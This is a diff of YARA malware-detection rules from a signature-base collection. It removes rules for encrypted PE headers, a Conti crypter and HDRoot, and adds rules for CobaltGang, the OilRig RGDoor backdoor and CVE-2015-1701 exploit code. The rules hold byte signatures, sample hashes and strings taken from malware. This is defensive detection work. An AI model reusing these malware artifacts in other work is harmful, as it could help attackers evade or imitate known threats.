-		$encrypted_pe_header_shift_100 = { 60 1d 64 b1 be f4 64 67 64 64 64 e6 68 64 94 63 63 64 }
-		$encrypted_pe_header_shift_101 = { 61 1e 65 b2 bf f5 65 68 65 65 65 e7 69 65 95 64 64 65 }
-		$encrypted_pe_header_shift_102 = { 62 1f 66 b3 c0 f6 66 69 66 66 66 e8 6a 66 96 65 65 66 }
-		$encrypted_pe_header_shift_103 = { 63 20 67 b4 c1 f7 67 6a 67 67 67 e9 6b 67 97 66 66 67 }
-		$encrypted_pe_header_shift_104 = { 64 21 68 b5 c2 f8 68 6b 68 68 68 ea 6c 68 98 67 67 68 }
-		$encrypted_pe_header_shift_105 = { 65 22 69 b6 c3 f9 69 6c 69 69 69 eb 6d 69 99 68 68 69 }
-		$encrypted_pe_header_shift_106 = { 66 23 6a b7 c4 fa 6a 6d 6a 6a 6a ec 6e 6a 9a 69 69 6a }
-		$encrypted_pe_header_shift_107 = { 67 24 6b b8 c5 fb 6b 6e 6b 6b 6b ed 6f 6b 9b 6a 6a 6b }
-		$encrypted_pe_header_shift_108 = { 68 25 6c b9 c6 fc 6c 6f 6c 6c 6c ee 70 6c 9c 6b 6b 6c }
-		$encrypted_pe_header_shift_109 = { 69 26 6d ba c7 fd 6d 70 6d 6d 6d ef 71 6d 9d 6c 6c 6d }
-		$encrypted_pe_header_shift_110 = { 6a 27 6e bb c8 fe 6e 71 6e 6e 6e f0 72 6e 9e 6d 6d 6e }
-		$encrypted_pe_header_shift_111 = { 6b 28 6f bc c9 ff 6f 72 6f 6f 6f f1 73 6f 9f 6e 6e 6f }
-		$encrypted_pe_header_shift_112 = { 6c 29 70 bd ca 00 70 73 70 70 70 f2 74 70 a0 6f 6f 70 }
-		$encrypted_pe_header_shift_113 = { 6d 2a 71 be cb 01 71 74 71 71 71 f3 75 71 a1 70 70 71 }
-		$encrypted_pe_header_shift_114 = { 6e 2b 72 bf cc 02 72 75 72 72 72 f4 76 72 a2 71 71 72 }
-		$encrypted_pe_header_shift_115 = { 6f 2c 73 c0 cd 03 73 76 73 73 73 f5 77 73 a3 72 72 73 }
-		$encrypted_pe_header_shift_116 = { 70 2d 74 c1 ce 04 74 77 74 74 74 f6 78 74 a4 73 73 74 }
-		$encrypted_pe_header_shift_117 = { 71 2e 75 c2 cf 05 75 78 75 75 75 f7 79 75 a5 74 74 75 }
-		$encrypted_pe_header_shift_118 = { 72 2f 76 c3 d0 06 76 79 76 76 76 f8 7a 76 a6 75 75 76 }
-		$encrypted_pe_header_shift_119 = { 73 30 77 c4 d1 07 77 7a 77 77 77 f9 7b 77 a7 76 76 77 }
-		$encrypted_pe_header_shift_120 = { 74 31 78 c5 d2 08 78 7b 78 78 78 fa 7c 78 a8 77 77 78 }
-		$encrypted_pe_header_shift_121 = { 75 32 79 c6 d3 09 79 7c 79 79 79 fb 7d 79 a9 78 78 79 }
-		$encrypted_pe_header_shift_122 = { 76 33 7a c7 d4 0a 7a 7d 7a 7a 7a fc 7e 7a aa 79 79 7a }
-		$encrypted_pe_header_shift_123 = { 77 34 7b c8 d5 0b 7b 7e 7b 7b 7b fd 7f 7b ab 7a 7a 7b }
-		$encrypted_pe_header_shift_124 = { 78 35 7c c9 d6 0c 7c 7f 7c 7c 7c fe 80 7c ac 7b 7b 7c }
-		$encrypted_pe_header_shift_125 = { 79 36 7d ca d7 0d 7d 80 7d 7d 7d ff 81 7d ad 7c 7c 7d }
-		$encrypted_pe_header_shift_126 = { 7a 37 7e cb d8 0e 7e 81 7e 7e 7e 00 82 7e ae 7d 7d 7e }
-		$encrypted_pe_header_shift_127 = { 7b 38 7f cc d9 0f 7f 82 7f 7f 7f 01 83 7f af 7e 7e 7f }
-		$encrypted_pe_header_shift_128 = { 7c 39 80 cd da 10 80 83 80 80 80 02 84 80 b0 7f 7f 80 }
-		$encrypted_pe_header_shift_129 = { 7d 3a 81 ce db 11 81 84 81 81 81 03 85 81 b1 80 80 81 }
-		$encrypted_pe_header_shift_130 = { 7e 3b 82 cf dc 12 82 85 82 82 82 04 86 82 b2 81 81 82 }
-		$encrypted_pe_header_shift_131 = { 7f 3c 83 d0 dd 13 83 86 83 83 83 05 87 83 b3 82 82 83 }
-		$encrypted_pe_header_shift_132 = { 80 3d 84 d1 de 14 84 87 84 84 84 06 88 84 b4 83 83 84 }
-		$encrypted_pe_header_shift_133 = { 81 3e 85 d2 df 15 85 88 85 85 85 07 89 85 b5 84 84 85 }
-		$encrypted_pe_header_shift_134 = { 82 3f 86 d3 e0 16 86 89 86 86 86 08 8a 86 b6 85 85 86 }
-		$encrypted_pe_header_shift_135 = { 83 40 87 d4 e1 17 87 8a 87 87 87 09 8b 87 b7 86 86 87 }
-		$encrypted_pe_header_shift_136 = { 84 41 88 d5 e2 18 88 8b 88 88 88 0a 8c 88 b8 87 87 88 }
-		$encrypted_pe_header_shift_137 = { 85 42 89 d6 e3 19 89 8c 89 89 89 0b 8d 89 b9 88 88 89 }
-		$encrypted_pe_header_shift_138 = { 86 43 8a d7 e4 1a 8a 8d 8a 8a 8a 0c 8e 8a ba 89 89 8a }
-		$encrypted_pe_header_shift_139 = { 87 44 8b d8 e5 1b 8b 8e 8b 8b 8b 0d 8f 8b bb 8a 8a 8b }
-		$encrypted_pe_header_shift_140 = { 88 45 8c d9 e6 1c 8c 8f 8c 8c 8c 0e 90 8c bc 8b 8b 8c }
-		$encrypted_pe_header_shift_141 = { 89 46 8d da e7 1d 8d 90 8d 8d 8d 0f 91 8d bd 8c 8c 8d }
-		$encrypted_pe_header_shift_142 = { 8a 47 8e db e8 1e 8e 91 8e 8e 8e 10 92 8e be 8d 8d 8e }
-		$encrypted_pe_header_shift_143 = { 8b 48 8f dc e9 1f 8f 92 8f 8f 8f 11 93 8f bf 8e 8e 8f }
-		$encrypted_pe_header_shift_144 = { 8c 49 90 dd ea 20 90 93 90 90 90 12 94 90 c0 8f 8f 90 }
-		$encrypted_pe_header_shift_145 = { 8d 4a 91 de eb 21 91 94 91 91 91 13 95 91 c1 90 90 91 }
-		$encrypted_pe_header_shift_146 = { 8e 4b 92 df ec 22 92 95 92 92 92 14 96 92 c2 91 91 92 }
-		$encrypted_pe_header_shift_147 = { 8f 4c 93 e0 ed 23 93 96 93 93 93 15 97 93 c3 92 92 93 }
-		$encrypted_pe_header_shift_148 = { 90 4d 94 e1 ee 24 94 97 94 94 94 16 98 94 c4 93 93 94 }
-		$encrypted_pe_header_shift_149 = { 91 4e 95 e2 ef 25 95 98 95 95 95 17 99 95 c5 94 94 95 }
-		$encrypted_pe_header_shift_150 = { 92 4f 96 e3 f0 26 96 99 96 96 96 18 9a 96 c6 95 95 96 }
-		$encrypted_pe_header_shift_151 = { 93 50 97 e4 f1 27 97 9a 97 97 97 19 9b 97 c7 96 96 97 }
-		$encrypted_pe_header_shift_152 = { 94 51 98 e5 f2 28 98 9b 98 98 98 1a 9c 98 c8 97 97 98 }
-		$encrypted_pe_header_shift_153 = { 95 52 99 e6 f3 29 99 9c 99 99 99 1b 9d 99 c9 98 98 99 }
-		$encrypted_pe_header_shift_154 = { 96 53 9a e7 f4 2a 9a 9d 9a 9a 9a 1c 9e 9a ca 99 99 9a }
-		$encrypted_pe_header_shift_155 = { 97 54 9b e8 f5 2b 9b 9e 9b 9b 9b 1d 9f 9b cb 9a 9a 9b }
-		$encrypted_pe_header_shift_156 = { 98 55 9c e9 f6 2c 9c 9f 9c 9c 9c 1e a0 9c cc 9b 9b 9c }
-		$encrypted_pe_header_shift_157 = { 99 56 9d ea f7 2d 9d a0 9d 9d 9d 1f a1 9d cd 9c 9c 9d }
-		$encrypted_pe_header_shift_158 = { 9a 57 9e eb f8 2e 9e a1 9e 9e 9e 20 a2 9e ce 9d 9d 9e }
-		$encrypted_pe_header_shift_159 = { 9b 58 9f ec f9 2f 9f a2 9f 9f 9f 21 a3 9f cf 9e 9e 9f }
-		$encrypted_pe_header_shift_160 = { 9c 59 a0 ed fa 30 a0 a3 a0 a0 a0 22 a4 a0 d0 9f 9f a0 }
-		$encrypted_pe_header_shift_161 = { 9d 5a a1 ee fb 31 a1 a4 a1 a1 a1 23 a5 a1 d1 a0 a0 a1 }
-		$encrypted_pe_header_shift_162 = { 9e 5b a2 ef fc 32 a2 a5 a2 a2 a2 24 a6 a2 d2 a1 a1 a2 }
-		$encrypted_pe_header_shift_163 = { 9f 5c a3 f0 fd 33 a3 a6 a3 a3 a3 25 a7 a3 d3 a2 a2 a3 }
-		$encrypted_pe_header_shift_164 = { a0 5d a4 f1 fe 34 a4 a7 a4 a4 a4 26 a8 a4 d4 a3 a3 a4 }
-		$encrypted_pe_header_shift_165 = { a1 5e a5 f2 ff 35 a5 a8 a5 a5 a5 27 a9 a5 d5 a4 a4 a5 }
-		$encrypted_pe_header_shift_166 = { a2 5f a6 f3 00 36 a6 a9 a6 a6 a6 28 aa a6 d6 a5 a5 a6 }
-		$encrypted_pe_header_shift_167 = { a3 60 a7 f4 01 37 a7 aa a7 a7 a7 29 ab a7 d7 a6 a6 a7 }
-		$encrypted_pe_header_shift_168 = { a4 61 a8 f5 02 38 a8 ab a8 a8 a8 2a ac a8 d8 a7 a7 a8 }
-		$encrypted_pe_header_shift_169 = { a5 62 a9 f6 03 39 a9 ac a9 a9 a9 2b ad a9 d9 a8 a8 a9 }
-		$encrypted_pe_header_shift_170 = { a6 63 aa f7 04 3a aa ad aa aa aa 2c ae aa da a9 a9 aa }
-		$encrypted_pe_header_shift_171 = { a7 64 ab f8 05 3b ab ae ab ab ab 2d af ab db aa aa ab }
-		$encrypted_pe_header_shift_172 = { a8 65 ac f9 06 3c ac af ac ac ac 2e b0 ac dc ab ab ac }
-		$encrypted_pe_header_shift_173 = { a9 66 ad fa 07 3d ad b0 ad ad ad 2f b1 ad dd ac ac ad }
-		$encrypted_pe_header_shift_174 = { aa 67 ae fb 08 3e ae b1 ae ae ae 30 b2 ae de ad ad ae }
-		$encrypted_pe_header_shift_175 = { ab 68 af fc 09 3f af b2 af af af 31 b3 af df ae ae af }
-		$encrypted_pe_header_shift_176 = { ac 69 b0 fd 0a 40 b0 b3 b0 b0 b0 32 b4 b0 e0 af af b0 }
-		$encrypted_pe_header_shift_177 = { ad 6a b1 fe 0b 41 b1 b4 b1 b1 b1 33 b5 b1 e1 b0 b0 b1 }
-		$encrypted_pe_header_shift_178 = { ae 6b b2 ff 0c 42 b2 b5 b2 b2 b2 34 b6 b2 e2 b1 b1 b2 }
-		$encrypted_pe_header_shift_179 = { af 6c b3 00 0d 43 b3 b6 b3 b3 b3 35 b7 b3 e3 b2 b2 b3 }
-		$encrypted_pe_header_shift_180 = { b0 6d b4 01 0e 44 b4 b7 b4 b4 b4 36 b8 b4 e4 b3 b3 b4 }
-		$encrypted_pe_header_shift_181 = { b1 6e b5 02 0f 45 b5 b8 b5 b5 b5 37 b9 b5 e5 b4 b4 b5 }
-		$encrypted_pe_header_shift_182 = { b2 6f b6 03 10 46 b6 b9 b6 b6 b6 38 ba b6 e6 b5 b5 b6 }
-		$encrypted_pe_header_shift_183 = { b3 70 b7 04 11 47 b7 ba b7 b7 b7 39 bb b7 e7 b6 b6 b7 }
-		$encrypted_pe_header_shift_184 = { b4 71 b8 05 12 48 b8 bb b8 b8 b8 3a bc b8 e8 b7 b7 b8 }
-		$encrypted_pe_header_shift_185 = { b5 72 b9 06 13 49 b9 bc b9 b9 b9 3b bd b9 e9 b8 b8 b9 }
-		$encrypted_pe_header_shift_186 = { b6 73 ba 07 14 4a ba bd ba ba ba 3c be ba ea b9 b9 ba }
-		$encrypted_pe_header_shift_187 = { b7 74 bb 08 15 4b bb be bb bb bb 3d bf bb eb ba ba bb }
-		$encrypted_pe_header_shift_188 = { b8 75 bc 09 16 4c bc bf bc bc bc 3e c0 bc ec bb bb bc }
-		$encrypted_pe_header_shift_189 = { b9 76 bd 0a 17 4d bd c0 bd bd bd 3f c1 bd ed bc bc bd }
-		$encrypted_pe_header_shift_190 = { ba 77 be 0b 18 4e be c1 be be be 40 c2 be ee bd bd be }
-		$encrypted_pe_header_shift_191 = { bb 78 bf 0c 19 4f bf c2 bf bf bf 41 c3 bf ef be be bf }
-		$encrypted_pe_header_shift_192 = { bc 79 c0 0d 1a 50 c0 c3 c0 c0 c0 42 c4 c0 f0 bf bf c0 }
-		$encrypted_pe_header_shift_193 = { bd 7a c1 0e 1b 51 c1 c4 c1 c1 c1 43 c5 c1 f1 c0 c0 c1 }
-		$encrypted_pe_header_shift_194 = { be 7b c2 0f 1c 52 c2 c5 c2 c2 c2 44 c6 c2 f2 c1 c1 c2 }
-		$encrypted_pe_header_shift_195 = { bf 7c c3 10 1d 53 c3 c6 c3 c3 c3 45 c7 c3 f3 c2 c2 c3 }
-		$encrypted_pe_header_shift_196 = { c0 7d c4 11 1e 54 c4 c7 c4 c4 c4 46 c8 c4 f4 c3 c3 c4 }
-		$encrypted_pe_header_shift_197 = { c1 7e c5 12 1f 55 c5 c8 c5 c5 c5 47 c9 c5 f5 c4 c4 c5 }
-		$encrypted_pe_header_shift_198 = { c2 7f c6 13 20 56 c6 c9 c6 c6 c6 48 ca c6 f6 c5 c5 c6 }
-		$encrypted_pe_header_shift_199 = { c3 80 c7 14 21 57 c7 ca c7 c7 c7 49 cb c7 f7 c6 c6 c7 }
-		$encrypted_pe_header_shift_200 = { c4 81 c8 15 22 58 c8 cb c8 c8 c8 4a cc c8 f8 c7 c7 c8 }
-		$encrypted_pe_header_shift_201 = { c5 82 c9 16 23 59 c9 cc c9 c9 c9 4b cd c9 f9 c8 c8 c9 }
-		$encrypted_pe_header_shift_202 = { c6 83 ca 17 24 5a ca cd ca ca ca 4c ce ca fa c9 c9 ca }
-		$encrypted_pe_header_shift_203 = { c7 84 cb 18 25 5b cb ce cb cb cb 4d cf cb fb ca ca cb }
-		$encrypted_pe_header_shift_204 = { c8 85 cc 19 26 5c cc cf cc cc cc 4e d0 cc fc cb cb cc }
-		$encrypted_pe_header_shift_205 = { c9 86 cd 1a 27 5d cd d0 cd cd cd 4f d1 cd fd cc cc cd }
-		$encrypted_pe_header_shift_206 = { ca 87 ce 1b 28 5e ce d1 ce ce ce 50 d2 ce fe cd cd ce }
-		$encrypted_pe_header_shift_207 = { cb 88 cf 1c 29 5f cf d2 cf cf cf 51 d3 cf ff ce ce cf }
-		$encrypted_pe_header_shift_208 = { cc 89 d0 1d 2a 60 d0 d3 d0 d0 d0 52 d4 d0 00 cf cf d0 }
-		$encrypted_pe_header_shift_209 = { cd 8a d1 1e 2b 61 d1 d4 d1 d1 d1 53 d5 d1 01 d0 d0 d1 }
-		$encrypted_pe_header_shift_210 = { ce 8b d2 1f 2c 62 d2 d5 d2 d2 d2 54 d6 d2 02 d1 d1 d2 }
-		$encrypted_pe_header_shift_211 = { cf 8c d3 20 2d 63 d3 d6 d3 d3 d3 55 d7 d3 03 d2 d2 d3 }
-		$encrypted_pe_header_shift_212 = { d0 8d d4 21 2e 64 d4 d7 d4 d4 d4 56 d8 d4 04 d3 d3 d4 }
-		$encrypted_pe_header_shift_213 = { d1 8e d5 22 2f 65 d5 d8 d5 d5 d5 57 d9 d5 05 d4 d4 d5 }
-		$encrypted_pe_header_shift_214 = { d2 8f d6 23 30 66 d6 d9 d6 d6 d6 58 da d6 06 d5 d5 d6 }
-		$encrypted_pe_header_shift_215 = { d3 90 d7 24 31 67 d7 da d7 d7 d7 59 db d7 07 d6 d6 d7 }
-		$encrypted_pe_header_shift_216 = { d4 91 d8 25 32 68 d8 db d8 d8 d8 5a dc d8 08 d7 d7 d8 }
-		$encrypted_pe_header_shift_217 = { d5 92 d9 26 33 69 d9 dc d9 d9 d9 5b dd d9 09 d8 d8 d9 }
-		$encrypted_pe_header_shift_218 = { d6 93 da 27 34 6a da dd da da da 5c de da 0a d9 d9 da }
-		$encrypted_pe_header_shift_219 = { d7 94 db 28 35 6b db de db db db 5d df db 0b da da db }
-		$encrypted_pe_header_shift_220 = { d8 95 dc 29 36 6c dc df dc dc dc 5e e0 dc 0c db db dc }
-		$encrypted_pe_header_shift_221 = { d9 96 dd 2a 37 6d dd e0 dd dd dd 5f e1 dd 0d dc dc dd }
-		$encrypted_pe_header_shift_222 = { da 97 de 2b 38 6e de e1 de de de 60 e2 de 0e dd dd de }
-		$encrypted_pe_header_shift_223 = { db 98 df 2c 39 6f df e2 df df df 61 e3 df 0f de de df }
-		$encrypted_pe_header_shift_224 = { dc 99 e0 2d 3a 70 e0 e3 e0 e0 e0 62 e4 e0 10 df df e0 }
-		$encrypted_pe_header_shift_225 = { dd 9a e1 2e 3b 71 e1 e4 e1 e1 e1 63 e5 e1 11 e0 e0 e1 }
-		$encrypted_pe_header_shift_226 = { de 9b e2 2f 3c 72 e2 e5 e2 e2 e2 64 e6 e2 12 e1 e1 e2 }
-		$encrypted_pe_header_shift_227 = { df 9c e3 30 3d 73 e3 e6 e3 e3 e3 65 e7 e3 13 e2 e2 e3 }
-		$encrypted_pe_header_shift_228 = { e0 9d e4 31 3e 74 e4 e7 e4 e4 e4 66 e8 e4 14 e3 e3 e4 }
-		$encrypted_pe_header_shift_229 = { e1 9e e5 32 3f 75 e5 e8 e5 e5 e5 67 e9 e5 15 e4 e4 e5 }
-		$encrypted_pe_header_shift_230 = { e2 9f e6 33 40 76 e6 e9 e6 e6 e6 68 ea e6 16 e5 e5 e6 }
-		$encrypted_pe_header_shift_231 = { e3 a0 e7 34 41 77 e7 ea e7 e7 e7 69 eb e7 17 e6 e6 e7 }
-		$encrypted_pe_header_shift_232 = { e4 a1 e8 35 42 78 e8 eb e8 e8 e8 6a ec e8 18 e7 e7 e8 }
-		$encrypted_pe_header_shift_233 = { e5 a2 e9 36 43 79 e9 ec e9 e9 e9 6b ed e9 19 e8 e8 e9 }
-		$encrypted_pe_header_shift_234 = { e6 a3 ea 37 44 7a ea ed ea ea ea 6c ee ea 1a e9 e9 ea }
-		$encrypted_pe_header_shift_235 = { e7 a4 eb 38 45 7b eb ee eb eb eb 6d ef eb 1b ea ea eb }
-		$encrypted_pe_header_shift_236 = { e8 a5 ec 39 46 7c ec ef ec ec ec 6e f0 ec 1c eb eb ec }
-		$encrypted_pe_header_shift_237 = { e9 a6 ed 3a 47 7d ed f0 ed ed ed 6f f1 ed 1d ec ec ed }
-		$encrypted_pe_header_shift_238 = { ea a7 ee 3b 48 7e ee f1 ee ee ee 70 f2 ee 1e ed ed ee }
-		$encrypted_pe_header_shift_239 = { eb a8 ef 3c 49 7f ef f2 ef ef ef 71 f3 ef 1f ee ee ef }
-		$encrypted_pe_header_shift_240 = { ec a9 f0 3d 4a 80 f0 f3 f0 f0 f0 72 f4 f0 20 ef ef f0 }
-		$encrypted_pe_header_shift_241 = { ed aa f1 3e 4b 81 f1 f4 f1 f1 f1 73 f5 f1 21 f0 f0 f1 }
-		$encrypted_pe_header_shift_242 = { ee ab f2 3f 4c 82 f2 f5 f2 f2 f2 74 f6 f2 22 f1 f1 f2 }
-		$encrypted_pe_header_shift_243 = { ef ac f3 40 4d 83 f3 f6 f3 f3 f3 75 f7 f3 23 f2 f2 f3 }
-		$encrypted_pe_header_shift_244 = { f0 ad f4 41 4e 84 f4 f7 f4 f4 f4 76 f8 f4 24 f3 f3 f4 }
-		$encrypted_pe_header_shift_245 = { f1 ae f5 42 4f 85 f5 f8 f5 f5 f5 77 f9 f5 25 f4 f4 f5 }
-		$encrypted_pe_header_shift_246 = { f2 af f6 43 50 86 f6 f9 f6 f6 f6 78 fa f6 26 f5 f5 f6 }
-		$encrypted_pe_header_shift_247 = { f3 b0 f7 44 51 87 f7 fa f7 f7 f7 79 fb f7 27 f6 f6 f7 }
-		$encrypted_pe_header_shift_248 = { f4 b1 f8 45 52 88 f8 fb f8 f8 f8 7a fc f8 28 f7 f7 f8 }
-		$encrypted_pe_header_shift_249 = { f5 b2 f9 46 53 89 f9 fc f9 f9 f9 7b fd f9 29 f8 f8 f9 }
-		$encrypted_pe_header_shift_250 = { f6 b3 fa 47 54 8a fa fd fa fa fa 7c fe fa 2a f9 f9 fa }
-		$encrypted_pe_header_shift_251 = { f7 b4 fb 48 55 8b fb fe fb fb fb 7d ff fb 2b fa fa fb }
-		$encrypted_pe_header_shift_252 = { f8 b5 fc 49 56 8c fc ff fc fc fc 7e 00 fc 2c fb fb fc }
-		$encrypted_pe_header_shift_253 = { f9 b6 fd 4a 57 8d fd 00 fd fd fd 7f 01 fd 2d fc fc fd }
-		$encrypted_pe_header_shift_254 = { fa b7 fe 4b 58 8e fe 01 fe fe fe 80 02 fe 2e fd fd fe }
-		$encrypted_pe_header_shift_255 = { fb b8 ff 4c 59 8f ff 02 ff ff ff 81 03 ff 2f fe fe ff }
-
-	condition:
-		filesize <200KB and (1 of ($encrypted_pe_header_shift_*))
-}
-rule SIGNATURE_BASE_MAL_RANSOM_Conticrypter
+
+rule SIGNATURE_BASE_MAL_CRIME_Cobaltgang_Malware_Oct19_1 : FILE
 {
 	meta:
-		description = "Signature for a crypter associated with Conti"
-		author = "James Quinn, Binary Defense"
-		id = "f2a00655-41a2-5614-9c29-3629c93c0e95"
-		date = "2021-03-17"
+		description = "Detects CobaltGang malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "95c16016-b09b-56f3-b5a4-fca18ac70ad5"
+		date = "2019-10-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_conti.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "256fbd028a91da45049e2e861e16e97201f09cb92ab049eda373c80e6a796726"
+		reference = "https://twitter.com/vxsh4d0w/status/1187353649015611392"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cobaltgang.yar#L74-L95"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4bd57aa6929b3eced7dee8063d89c542f2c80f802ef40efc23bbea6cc8ffd98c"
 		score = 75
 		quality = 85
-		tags = ""
-		tlp = "White"
+		tags = "FILE"
+		hash1 = "72125933265f884ceb8ab64ab303ea76aaeb7877faee8976d398acd0d0b7356b"
+		hash2 = "893339624602c7b3a6f481aed9509b53e4e995d6771c72d726ba5a6b319608a7"
+		hash3 = "3c34bbf641df25f9accd05b27b9058e25554fdfea0e879f5ca21ffa460ad2b01"
 
 	strings:
-		$handoff1 = {4C 8D 05 ?? ?? ?? ?? 48 C7 44 24 28 00 00 00 00 C7 44 24 20 00 00 00 00 e8}
-		$handoff2 = {C7 ?? 24 ?? 00 00 00 00 89 44 24 ?? C7 ?? 24 ?? ?? ?? ?? ?? C7 ?? 24 ?? 00 00 00 00 }
-		$garbageLoad1 = {53 48 83 EC 20 89 CB 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 01 D8 48 83 C4 20 5B C3}
-		$garbageLoad2 = {55 89 E5 83 EC 18 C7 ?? 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 45 08 52 C9 C3}
+		$op_a1 = { 0f 44 c2 eb 0a 31 c0 80 fa 20 0f 94 c0 01 c0 5d }
+		$op_b1 = { 89 e5 53 8b 55 08 8b 4d 0c 8a 1c 01 88 1c 02 83 }
+		$op_b2 = { 89 e5 53 8b 55 08 8b 45 0c 8a 1c 0a 88 1c 08 83 }
 
 	condition:
-		1 of ($handoff*) and 1 of ($garbageLoad*)
+		uint16(0)==0x5a4d and filesize <=2000KB and (pe.imphash()=="d1e3f8d02cce09520379e5c1e72f862f" or pe.imphash()=="8e26df99c70f79cb8b1ea2ef6f8e52ac" or ($op_a1 and 1 of ($op_b*)))
 }
-rule SIGNATURE_BASE_Hdroot_Sample_Jul17_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Oilrig_Rgdoor_Gen1 : FILE
 {
 	meta:
-		description = "Detects HDRoot samples"
+		description = "Detects RGDoor backdoor used by OilRig group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "06356f8a-bacd-51bc-a6f4-107983a9c16e"
-		date = "2017-07-07"
+		id = "68ac1f35-4eaa-5899-b66c-296d7c5fa462"
+		date = "2018-01-27"
 		modified = "2023-12-05"
-		reference = "Winnti HDRoot VT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_hdroot.yar#L11-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "41127e6d70af4b095555285f3d5570fc4dbe2a7918664502057cdc4fed8fab33"
-		score = 75
+		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_rgdoor.yar#L13-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "896900f788337327d444495ba0cd4c7c327bb4f9166bc2a981a348cf2c34cbdb"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6d2ad82f455becc8c830d000633a370857928c584246a7f41fe722cc46c0d113"
+		hash1 = "a9c92b29ee05c1522715c7a2f9c543740b60e36373cb47b5620b1f3d8ad96bfa"
 
 	strings:
-		$s1 = "gleupdate.dll" fullword ascii
-		$s2 = "\\DosDevices\\%ws\\system32\\%ws" wide
-		$s3 = "l\\Driver\\nsiproxy" fullword wide
+		$c1 = { 00 63 6D 64 24 00 00 00 00 72 00 00 00 00 00 00 00 75 70 6C 6F
+              61 64 24 }
+		$c2 = { 63 61 6E 27 74 20 6F 70 65 6E 20 66 69 6C 65 3A 20 00 00 00 00
+              00 00 00 64 6F 77 6E 6C 6F 61 64 24 }
+		$s1 = "MyNativeModule.dll" fullword ascii
+		$s2 = "RGSESSIONID=" fullword ascii
+		$s3 = "download$" fullword ascii
+		$s4 = ".?AVCHelloWorld@@" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <60KB and 3 of them )
+		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="47cb127aad6c7c9954058e61a2a6429a" or 1 of ($c*) or 2 of them )
 }
-rule SIGNATURE_BASE_Hdroot_Sample_Jul17_2 : FILE
+rule SIGNATURE_BASE_CVE_2015_1701_Taihou : CVE_2015_1701 FILE
 {
 	meta:
-		description = "Detects HDRoot samples"
+		description = "CVE-2015-1701 compiled exploit code"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9ce9c0f4-e6f9-5033-ba74-367e6d741650"
-		date = "2017-07-07"
+		id = "58250e17-aa46-5451-ae6d-18fb4030f8df"
+		date = "2015-05-13"
 		modified = "2023-12-05"
-		reference = "Winnti HDRoot VT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_hdroot.yar#L28-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "94288abb5c4da7c4b07eeae55070797af1556dac35ad012aff1bbe8c05e0a215"
-		score = 75
+		reference = "http://goo.gl/W4nU0q"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2015_1701.yar#L2-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d230e036c303642c40bdf83be2b097f6e447a7e7d4292c495179edbae8a4124c"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2015-1701, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "1c302ed9786fc600073cc6f3ed2e50e7c23785c94a2908f74f92971d978b704b"
-		hash2 = "3b7cfa40e26fb6b079b55ec030aba244a6429e263a3d9832e32ab09e7a3c4a9c"
-		hash3 = "71eddf71a94c5fd04c9f3ff0ca1eb6b1770df1a3a8f29689fb8588427b5c9e8e"
-		hash4 = "80e088f2fd2dbde0f9bc21e056b6521991929c4e0ecd3eb5833edff6362283f4"
+		hash1 = "90d17ebd75ce7ff4f15b2df951572653efe2ea17"
+		hash2 = "acf181d6c2c43356e92d4ee7592700fa01e30ffb"
+		hash3 = "b8aabe12502f7d55ae332905acee80a10e3bc399"
+		hash4 = "d9989a46d590ebc792f14aa6fec30560dfe931b1"
+		hash5 = "63d1d33e7418daf200dc4660fc9a59492ddd50d9"
 
 	strings:
-		$x1 = "http://microsoftcompanywork.htm" fullword ascii
-		$x2 = "compose.aspx?s=%4X%4X%4X%4X%4X%4X" fullword ascii
-		$t1 = "http://babelfish.yahoo.com/translate_url?" fullword ascii
-		$t2 = "http://translate.google.com/translate?prev=hp&hl=en&js=n&u=%s?%d&sl=es&tl=en" fullword ascii
-		$u1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5." ascii
-		$u2 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)" fullword ascii
